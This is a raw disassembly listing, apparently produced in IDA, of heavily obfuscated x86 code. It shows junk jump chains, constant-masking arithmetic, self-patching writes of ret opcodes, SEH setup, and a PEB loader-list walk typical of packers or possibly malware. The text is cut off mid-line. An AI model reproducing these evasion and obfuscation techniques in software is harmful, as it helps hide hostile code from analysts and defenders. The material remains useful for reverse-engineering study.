_0z4jwtox:00749F58j ; sub_75247Ep var_4 = dword ptr -4 ; FUNCTION CHUNK AT 007450EC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00745ECD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00746C74 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00746E05 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00747D29 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00747DE0 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0074A48E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074A4F8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074AB2A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074AEFC SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074BE50 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074D938 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0074E85F SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0074EBE2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0074F457 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074F6ED SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0074F72A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074F9D3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0074FA60 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074FE71 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00750161 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007523ED SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00752A14 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00752CF1 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00753410 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00753E6C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0075526D SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0075571B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756418 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 007567E8 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00757778 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007578C9 SIZE 0000000B BYTES xchg ebx, [esp+0] pop ebx jo loc_74EBE2 call sub_7562F7 loc_7543D4: ; CODE XREF: sub_755DE6+12j jmp loc_757778 sub_7543C5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747A94 loc_7543D9: ; CODE XREF: sub_747A94+D95Bj jmp loc_756DEC ; END OF FUNCTION CHUNK FOR sub_747A94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7559F0 loc_7543DE: ; CODE XREF: sub_7559F0-D41j jmp nullsub_161 ; END OF FUNCTION CHUNK FOR sub_7559F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_7543E3: ; CODE XREF: sub_74AAC1+3C06j jmp nullsub_228 ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753F8B loc_7543E8: ; CODE XREF: sub_753F8B-7160j jmp nullsub_292 ; END OF FUNCTION CHUNK FOR sub_753F8B ; --------------------------------------------------------------------------- loc_7543ED: ; CODE XREF: _0z4jwtox:00749133j jmp sub_750291 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D1F3 loc_7543F2: ; CODE XREF: sub_74D1F3:loc_756775j push eax pop edi xchg edi, [esp-4+arg_0] push 0 jmp loc_74D002 ; END OF FUNCTION CHUNK FOR sub_74D1F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750638 loc_7543FE: ; CODE XREF: sub_750638:loc_753915j mov eax, [ebp+var_104] cmp byte ptr [eax], 0 jmp loc_74A0F0 ; END OF FUNCTION CHUNK FOR sub_750638 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_75440C: ; CODE XREF: sub_74FE55-149Aj jge loc_7488EE jbe loc_745034 jmp loc_75018F ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746E93 loc_75441D: ; CODE XREF: sub_746E93+76B2j add ebp, 0EEBDB1E6h not esi mov ecx, 9B2F54F7h jmp loc_751E83 ; END OF FUNCTION CHUNK FOR sub_746E93 ; --------------------------------------------------------------------------- mov [ebx], ecx add edi, 0E4FDB306h jmp sub_74ED53 ; --------------------------------------------------------------------------- add edx, 0F7D32CA2h and edi, edx jmp sub_753538 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AE46 loc_754449: ; CODE XREF: sub_74AE46:loc_749EFDj mov ebp, esi xchg ebp, [esp-4+arg_0] push 50BDA3A5h pop esi sub esi, 5FA77E11h cmp esi, 0CE509CEBh jmp loc_745077 ; --------------------------------------------------------------------------- loc_754465: ; CODE XREF: sub_74AE46:loc_756226j pop ecx sub ecx, 0B26C50A1h test ecx, 10000h jmp loc_74BAF0 ; END OF FUNCTION CHUNK FOR sub_74AE46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7508E6 loc_754477: ; CODE XREF: sub_7508E6+Ej mov eax, 0C2A99E24h call sub_746E93 mov ds:off_41F0C8, eax lea eax, sub_74624E mov byte ptr [eax], 0C3h jmp sub_74624E ; END OF FUNCTION CHUNK FOR sub_7508E6 ; --------------------------------------------------------------------------- push ecx mov ecx, edx jmp loc_74648D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_757799 loc_75449D: ; CODE XREF: sub_757799+Dj jz loc_7455CD jmp loc_74685E ; END OF FUNCTION CHUNK FOR sub_757799 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A63F loc_7544A8: ; CODE XREF: sub_74A63F:loc_74BD21j mov [ebx], eax pop ebx push offset sub_74B279 jmp loc_74DA43 ; END OF FUNCTION CHUNK FOR sub_74A63F ; --------------------------------------------------------------------------- mov eax, 0F75CA70h push esi push 0DDCFE188h pop esi and esi, 0C72FA072h xor esi, 22837B0Dh add esi, 18E780B0h loc_7544D3: ; CODE XREF: _0z4jwtox:loc_746761j jmp loc_749C48 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7561AB loc_7544D8: ; CODE XREF: sub_7561AB-72D4j jns loc_751ECF ; END OF FUNCTION CHUNK FOR sub_7561AB ; START OF FUNCTION CHUNK FOR sub_74742A loc_7544DE: ; CODE XREF: sub_7561AB:loc_74D9C5j ; sub_74742A:loc_756EABj mov eax, [ebp-28h] mov byte ptr [eax], 64h inc dword ptr [ebp-28h] call sub_748BBE ; END OF FUNCTION CHUNK FOR sub_74742A ; START OF FUNCTION CHUNK FOR sub_74BDFA loc_7544EC: ; CODE XREF: sub_74BDFA+9j jmp loc_745168 ; END OF FUNCTION CHUNK FOR sub_74BDFA ; =============== S U B R O U T I N E ======================================= sub_7544F1 proc near ; DATA XREF: sub_756496:loc_754317o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00746C30 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0074789B SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0074D139 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074D5BE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074E48F SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00752126 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00753BEA SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0075632D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007566D4 SIZE 00000012 BYTES or eax, eax jnz loc_74AF08 jmp loc_75632D sub_7544F1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_7544FE: ; CODE XREF: sub_746640+55FEj add edx, 11EFA685h add edx, ebp add edx, 29150DB4h push offset loc_7577EF jmp nullsub_128 ; END OF FUNCTION CHUNK FOR sub_746640 ; --------------------------------------------------------------------------- loc_754516: ; CODE XREF: _0z4jwtox:00747FFDj jo loc_75080C ; =============== S U B R O U T I N E ======================================= sub_75451C proc near ; CODE XREF: sub_74624E+45B4p arg_0 = dword ptr 4 xchg ebx, [esp+0] pop ebx xchg edx, [esp-4+arg_0] jmp sub_745715 sub_75451C endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_123. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C39 loc_754529: ; CODE XREF: _0z4jwtox:0074DEA2j ; sub_747C39+BF55j jmp loc_7464F5 ; END OF FUNCTION CHUNK FOR sub_747C39 ; =============== S U B R O U T I N E ======================================= sub_75452E proc near ; DATA XREF: _0z4jwtox:loc_74C252o lea eax, nullsub_276 mov byte ptr [eax], 0C3h jmp nullsub_276 sub_75452E endp ; --------------------------------------------------------------------------- xchg esi, [esp] mov edx, esi pop esi jmp loc_749AD1 ; --------------------------------------------------------------------------- locret_754547: ; CODE XREF: _0z4jwtox:0075048Bj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750291 loc_754548: ; CODE XREF: sub_750291:loc_75742Dj ; _0z4jwtox:00757444j or eax, 5725D45Fh sub eax, 5D80CF7Ah and eax, 4364596h push offset loc_74BB58 jmp loc_748E05 ; END OF FUNCTION CHUNK FOR sub_750291 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7562D5 loc_754564: ; CODE XREF: sub_7562D5-43DBj rol edx, 1Fh call sub_753538 ; END OF FUNCTION CHUNK FOR sub_7562D5 ; START OF FUNCTION CHUNK FOR sub_7535F0 loc_75456C: ; CODE XREF: sub_7535F0+2B56j jmp loc_752669 ; END OF FUNCTION CHUNK FOR sub_7535F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745183 loc_754571: ; CODE XREF: sub_745183+A7B3j jmp sub_75375E ; END OF FUNCTION CHUNK FOR sub_745183 ; --------------------------------------------------------------------------- loc_754576: ; DATA XREF: _0z4jwtox:0074A6F3o xchg eax, [esp] push 15951E9Ch pop ebx sub ebx, 8CD748B3h add ebx, 77B705C7h xchg ebx, [esp] jmp loc_753AB2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7554BB loc_754593: ; CODE XREF: sub_7554BB+1Ej jo loc_74A60D and edx, 0DDE7A0Ch sub edi, 946A53AFh loc_7545A5: ; CODE XREF: sub_7554BB+12j sub ecx, 0A30B9856h and ecx, 2E3400F7h jmp loc_7551CE ; END OF FUNCTION CHUNK FOR sub_7554BB ; --------------------------------------------------------------------------- push ebx push 504A75EBh call sub_74F7C0 ; START OF FUNCTION CHUNK FOR sub_74A4B0 loc_7545C1: ; CODE XREF: sub_74A4B0-3F8j jmp loc_75014D ; END OF FUNCTION CHUNK FOR sub_74A4B0 ; =============== S U B R O U T I N E ======================================= sub_7545C6 proc near ; DATA XREF: sub_746556+Do ; FUNCTION CHUNK AT 00748933 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00752440 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075345B SIZE 00000005 BYTES xor eax, 18990384h sub eax, 4B24A958h ror eax, 13h xor eax, 0DB893C7Eh jmp loc_75345B sub_7545C6 endp ; =============== S U B R O U T I N E ======================================= sub_7545E0 proc near ; DATA XREF: sub_757671+7o ; FUNCTION CHUNK AT 0074F50E SIZE 00000014 BYTES push 170B442h pop esi sub esi, 68B000CEh and esi, 5BE25192h xor esi, 157575CBh jmp loc_74F50E sub_7545E0 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_103. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74DBEB loc_7545FE: ; CODE XREF: sub_74DBEB+6j jmp loc_754A78 ; END OF FUNCTION CHUNK FOR sub_74DBEB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74DBDF loc_754603: ; CODE XREF: sub_74DBDF+7j jmp nullsub_207 ; END OF FUNCTION CHUNK FOR sub_74DBDF ; --------------------------------------------------------------------------- jmp ds:off_41F0A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_75460E: ; CODE XREF: sub_74AAC1+7BFEj jmp loc_750317 ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B1F1 loc_754613: ; CODE XREF: sub_74B1F1+3j jmp loc_74705B ; END OF FUNCTION CHUNK FOR sub_74B1F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B079 loc_754618: ; CODE XREF: sub_74B079+17D7j ; _0z4jwtox:loc_74E846j ... pop edx jz loc_754DFC mov eax, [esp+0] push edi mov edi, edx xchg edi, [esp+4+var_4] jmp loc_74B585 ; END OF FUNCTION CHUNK FOR sub_74B079 ; --------------------------------------------------------------------------- loc_75462D: ; CODE XREF: _0z4jwtox:0074EBC9j not ebx add edx, ebx ja loc_74E4D6 cdq ; START OF FUNCTION CHUNK FOR sub_749608 loc_754638: ; CODE XREF: sub_749608:loc_74EBBBj xor esi, 0A3B59BAEh jmp loc_75073B ; END OF FUNCTION CHUNK FOR sub_749608 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7474B9 loc_754643: ; CODE XREF: sub_7474B9+D72Aj jz loc_74F6F3 jmp loc_755764 ; END OF FUNCTION CHUNK FOR sub_7474B9 ; --------------------------------------------------------------------------- loc_75464E: ; CODE XREF: _0z4jwtox:0075319Aj push 1757AABAh loc_754653: ; CODE XREF: _0z4jwtox:loc_75392Dj push ebx push 461A0F05h pop ebx and ebx, 33783BEEh or ebx, 0A238BBAh sub ebx, 5D3D27B8h xor ebx, 2596D7BAh jmp loc_749DCD ; --------------------------------------------------------------------------- loc_754677: ; CODE XREF: _0z4jwtox:007475B8j jp loc_7577A0 mov ecx, eax ; START OF FUNCTION CHUNK FOR sub_749EC9 loc_75467F: ; CODE XREF: sub_749EC9:loc_7475A7j xor esi, 5727667h add esi, 706EB8B2h jmp loc_74C137 ; END OF FUNCTION CHUNK FOR sub_749EC9 ; --------------------------------------------------------------------------- loc_754690: ; CODE XREF: _0z4jwtox:007532E7j xor edx, 9F8324E2h add edx, ebp add edx, 6A4C5B4Dh mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jmp loc_7564BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748DCB loc_7546A9: ; CODE XREF: sub_748DCB+7BBDj jl loc_756570 loc_7546AF: ; CODE XREF: _0z4jwtox:0074DD44j jmp nullsub_222 ; END OF FUNCTION CHUNK FOR sub_748DCB ; --------------------------------------------------------------------------- loc_7546B4: ; CODE XREF: _0z4jwtox:0074CCCBj jmp locret_746D5E ; --------------------------------------------------------------------------- loc_7546B9: ; CODE XREF: _0z4jwtox:00749BD8j jmp loc_74820B ; --------------------------------------------------------------------------- shl ebx, 0Fh jl loc_74B213 shl ecx, 0Eh xchg edi, [ecx] jmp loc_756570 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7513E4 loc_7546D1: ; CODE XREF: sub_7513E4:loc_747842j mov edx, [esp+0] push eax mov eax, edx push ebx push 36998BBCh pop ebx xor ebx, 0BC2A91DAh jmp loc_75475F ; END OF FUNCTION CHUNK FOR sub_7513E4 ; --------------------------------------------------------------------------- loc_7546E9: ; CODE XREF: _0z4jwtox:007535CBj push offset sub_755A00 jmp locret_74E5A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7572F3 loc_7546F3: ; CODE XREF: sub_7572F3-D5C3j jnz loc_756145 jmp loc_74693A ; END OF FUNCTION CHUNK FOR sub_7572F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C39 loc_7546FE: ; CODE XREF: sub_747C39:loc_746B3Dj push 5373719Ch pop edx xor edx, 52545C7Ah sub edx, 7EABCD8Ch xor edx, 78A83177h add edx, 8CA4739Eh jmp loc_74863C ; END OF FUNCTION CHUNK FOR sub_747C39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754729 loc_754721: ; CODE XREF: sub_754729:loc_74FA5Bj pop ecx pop ebx retn ; END OF FUNCTION CHUNK FOR sub_754729 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749184 loc_754724: ; CODE XREF: sub_749184-23D0j jmp nullsub_132 ; END OF FUNCTION CHUNK FOR sub_749184 ; =============== S U B R O U T I N E ======================================= sub_754729 proc near ; CODE XREF: sub_746BBA+2p ; FUNCTION CHUNK AT 00745A42 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0074803F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007495F0 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0074B8BB SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0074FA5B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075237C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00752D7E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00754721 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 00754B5C SIZE 0000001A BYTES push large dword ptr fs:0 mov large fs:0, esp call sub_74B822 jmp loc_74803F sub_754729 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74DE6C loc_754741: ; CODE XREF: sub_74DE6C:loc_748842j jge loc_745ABE ; END OF FUNCTION CHUNK FOR sub_74DE6C ; START OF FUNCTION CHUNK FOR sub_752D11 loc_754747: ; CODE XREF: sub_752D11-63E2j jmp loc_7529FB ; END OF FUNCTION CHUNK FOR sub_752D11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C9CF loc_75474C: ; CODE XREF: sub_74C9CF-1BA3j jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_74C9CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75143A loc_754751: ; CODE XREF: sub_75143A-8693j jmp nullsub_266 ; END OF FUNCTION CHUNK FOR sub_75143A ; --------------------------------------------------------------------------- pushf rol esi, 0Fh loc_75475A: ; CODE XREF: _0z4jwtox:0075108Cj jmp loc_745AB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7513E4 loc_75475F: ; CODE XREF: sub_7513E4+3300j jnz loc_752DC0 and edx, 0B92454A0h sub edi, ebx xchg edi, [edx] push 0E55922E8h jmp loc_752DC0 ; END OF FUNCTION CHUNK FOR sub_7513E4 ; =============== S U B R O U T I N E ======================================= sub_754779 proc near ; CODE XREF: _0z4jwtox:007506DDj ; _0z4jwtox:00753BB5p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074595F SIZE 00000005 BYTES xchg eax, [esp+0] pop eax xchg eax, [esp-4+arg_0] jmp loc_74595F sub_754779 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov eax, 6960D331h call sub_746E93 push esi mov esi, ebx xchg esi, [esp] push 8601CBCEh jmp loc_74D6B2 ; =============== S U B R O U T I N E ======================================= sub_75479F proc near ; DATA XREF: sub_74ACFAo ; FUNCTION CHUNK AT 00756D84 SIZE 00000005 BYTES push ebx push ecx mov eax, large fs:30h mov eax, [eax+0Ch] mov eax, [eax+0Ch] jmp loc_756D84 sub_75479F endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_133. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_7547B4: ; CODE XREF: _0z4jwtox:0074B6B4j jmp loc_74F85F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_66. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_7547BA proc near ; CODE XREF: _0z4jwtox:00756801j ; DATA XREF: sub_747736:loc_7567F7o ror eax, 17h mov edx, [esp+0] push eax push offset loc_752931 jmp nullsub_203 sub_7547BA endp ; --------------------------------------------------------------------------- loc_7547CB: ; CODE XREF: _0z4jwtox:loc_748BB3j pop edx mov eax, [esp] push esi mov esi, edx jmp loc_75286B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75275A loc_7547D7: ; CODE XREF: sub_75275A:loc_756D12j sbb ebx, 7B603BA5h pushf jmp loc_74D5E8 ; END OF FUNCTION CHUNK FOR sub_75275A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_7547E3: ; CODE XREF: sub_74C670+1B4j js loc_745064 loc_7547E9: ; CODE XREF: sub_74FE55:loc_753F45j push 0BE8431ABh pop eax or eax, 0FA7B08DCh xor eax, 0A8A129Ch jmp loc_74FA46 ; END OF FUNCTION CHUNK FOR sub_74C670 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747546 loc_754800: ; CODE XREF: sub_747546:loc_74A4C4j call sub_753C2A loc_754805: ; CODE XREF: sub_74DE6C-839Cj jmp loc_7540E3 ; END OF FUNCTION CHUNK FOR sub_747546 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_81. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74673E loc_75480B: ; CODE XREF: sub_74673E+EC9Aj jmp loc_750730 ; END OF FUNCTION CHUNK FOR sub_74673E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75216C loc_754810: ; CODE XREF: sub_75216C+7j jmp nullsub_287 ; END OF FUNCTION CHUNK FOR sub_75216C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_36. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748574 loc_754816: ; CODE XREF: sub_748574+12j jmp loc_746CDD ; END OF FUNCTION CHUNK FOR sub_748574 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_75481B proc near ; CODE XREF: sub_746E37+4p ; sub_7514BF-680Ap ; FUNCTION CHUNK AT 00750224 SIZE 00000005 BYTES push ebp mov ebp, esp push offset sub_74AD56 jmp loc_750224 sub_75481B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755E40 loc_754828: ; CODE XREF: sub_755E40:loc_755E4Bj mov esi, [ebp+0] add ecx, 7A6BB979h jns loc_748788 jmp loc_74EA7F ; END OF FUNCTION CHUNK FOR sub_755E40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747B76 loc_75483C: ; CODE XREF: sub_747B76:loc_750AB9j xchg eax, [esp+4+var_4] nop mov eax, 23829242h call sub_746E93 mov ds:off_41F130, eax jmp loc_7548BA ; END OF FUNCTION CHUNK FOR sub_747B76 ; --------------------------------------------------------------------------- loc_754855: ; CODE XREF: _0z4jwtox:0074B564j jnz loc_747F3F mov [ebp+0], ebx jmp loc_74864B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A96E loc_754863: ; CODE XREF: sub_74A96E+6CFj jge loc_7462EA shl ecx, 0Dh sub ebp, edi loc_75486E: ; CODE XREF: _0z4jwtox:0074D022j jmp loc_7462DE ; END OF FUNCTION CHUNK FOR sub_74A96E ; --------------------------------------------------------------------------- loc_754873: ; CODE XREF: _0z4jwtox:0075746Bj ja loc_74B7A1 xchg eax, [edi] jmp loc_7451AF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_93. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_754881: ; CODE XREF: sub_746640+6BF9j jmp sub_755148 ; END OF FUNCTION CHUNK FOR sub_746640 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CEEF loc_754886: ; CODE XREF: sub_74CEEF+18j jmp nullsub_279 ; END OF FUNCTION CHUNK FOR sub_74CEEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756834 loc_75488B: ; CODE XREF: sub_756834-E7DCj jmp sub_749161 ; END OF FUNCTION CHUNK FOR sub_756834 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7462FD loc_754890: ; CODE XREF: sub_7462FD+1Cj jmp loc_75438C ; END OF FUNCTION CHUNK FOR sub_7462FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A250 loc_754895: ; CODE XREF: sub_74A250:loc_74544Dj xchg edi, [esp+4+var_4] jmp loc_7459B7 ; END OF FUNCTION CHUNK FOR sub_74A250 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A3AB loc_75489D: ; CODE XREF: sub_74A3AB+1C30j xchg ecx, ebp add ecx, eax loc_7548A1: ; CODE XREF: sub_74A3AB:loc_74BFC7j and edx, 29EEA72Dh xor edx, 4B104D56h add edx, ebp add edx, 0BC6B3381h call sub_74658B loc_7548BA: ; CODE XREF: sub_747B76+CCDAj jmp loc_74E51F ; END OF FUNCTION CHUNK FOR sub_74A3AB ; --------------------------------------------------------------------------- loc_7548BF: ; CODE XREF: _0z4jwtox:0074C8AEj jmp loc_750D11 ; --------------------------------------------------------------------------- loc_7548C4: ; DATA XREF: sub_74C0A0+458Do mov al, [eax] jnb loc_74992F sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_74F2FD jmp loc_753642 ; --------------------------------------------------------------------------- loc_7548E0: ; CODE XREF: _0z4jwtox:00750FF1j jns loc_756C94 mov [esi], ebx jmp sub_748E68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74DFF3 loc_7548ED: ; CODE XREF: sub_74DFF3:loc_756045j add eax, 107D4AFDh xchg eax, [esp+0] jmp sub_753D0E ; END OF FUNCTION CHUNK FOR sub_74DFF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_7548FB: ; CODE XREF: sub_747736:loc_74F477j jnz loc_74B731 mov eax, [ebp+8] push eax cmp dword ptr [ebp-14h], 6 setz al call sub_74B719 loc_754911: ; CODE XREF: sub_7572F3-109B3j jnz loc_74F162 test eax, ebp jmp loc_753AEA ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- loc_75491E: ; CODE XREF: _0z4jwtox:loc_74EDD7j adc ecx, ebx jbe loc_74D2C4 jmp loc_74EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75547D loc_75492B: ; CODE XREF: sub_75547D-5286j jl loc_746350 ; END OF FUNCTION CHUNK FOR sub_75547D ; START OF FUNCTION CHUNK FOR sub_752C44 loc_754931: ; CODE XREF: sub_752C44-5A0j jmp loc_750F01 ; END OF FUNCTION CHUNK FOR sub_752C44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754DFF loc_754936: ; CODE XREF: sub_754DFF-3C4Dj jmp loc_749E8E ; END OF FUNCTION CHUNK FOR sub_754DFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7541BA loc_75493B: ; CODE XREF: sub_7541BA-5877j jmp loc_7491B7 ; END OF FUNCTION CHUNK FOR sub_7541BA ; --------------------------------------------------------------------------- xchg edi, [ebp+0] cdq jmp loc_746345 ; =============== S U B R O U T I N E ======================================= sub_754949 proc near ; CODE XREF: _0z4jwtox:007484CAp ; _0z4jwtox:0074A36Dj ; FUNCTION CHUNK AT 0074FDAF SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx push eax call sub_746CF0 jmp loc_74FDAF sub_754949 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747622 loc_754958: ; CODE XREF: sub_747622:loc_752A30j add eax, ecx pop ecx call sub_74DC58 ; END OF FUNCTION CHUNK FOR sub_747622 ; START OF FUNCTION CHUNK FOR sub_748BB8 loc_754960: ; CODE XREF: sub_748BB8+A75Bj jmp sub_750C4E ; END OF FUNCTION CHUNK FOR sub_748BB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C0A0 loc_754965: ; CODE XREF: sub_74C0A0-53E2j jmp sub_7451D9 ; END OF FUNCTION CHUNK FOR sub_74C0A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7497F9 loc_75496A: ; CODE XREF: sub_7497F9-2F0Cj jmp loc_74A58A ; END OF FUNCTION CHUNK FOR sub_7497F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752520 loc_75496F: ; CODE XREF: sub_752520:loc_74D18Aj cmp byte ptr [eax], 0F1h jnz loc_747300 jmp loc_74FE00 ; END OF FUNCTION CHUNK FOR sub_752520 ; =============== S U B R O U T I N E ======================================= sub_75497D proc near ; DATA XREF: _0z4jwtox:00745AABo ; FUNCTION CHUNK AT 00748941 SIZE 00000005 BYTES lea eax, loc_74DDA5 mov byte ptr [eax], 0C3h jmp loc_748941 sub_75497D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7474B9 loc_75498B: ; CODE XREF: sub_7474B9:loc_74DDA5j xchg ebp, [esp+8+var_8] mov edx, ebp pop ebp call sub_7474B9 loc_754996: ; CODE XREF: _0z4jwtox:loc_7573ACj pop eax mov eax, [esp+0] call sub_755B22 loc_75499F: ; CODE XREF: _0z4jwtox:00752B75j jmp loc_74F2CD ; END OF FUNCTION CHUNK FOR sub_7474B9 ; --------------------------------------------------------------------------- shr ebx, 0Dh jmp sub_74DBDF ; [00000001 BYTES: COLLAPSED FUNCTION 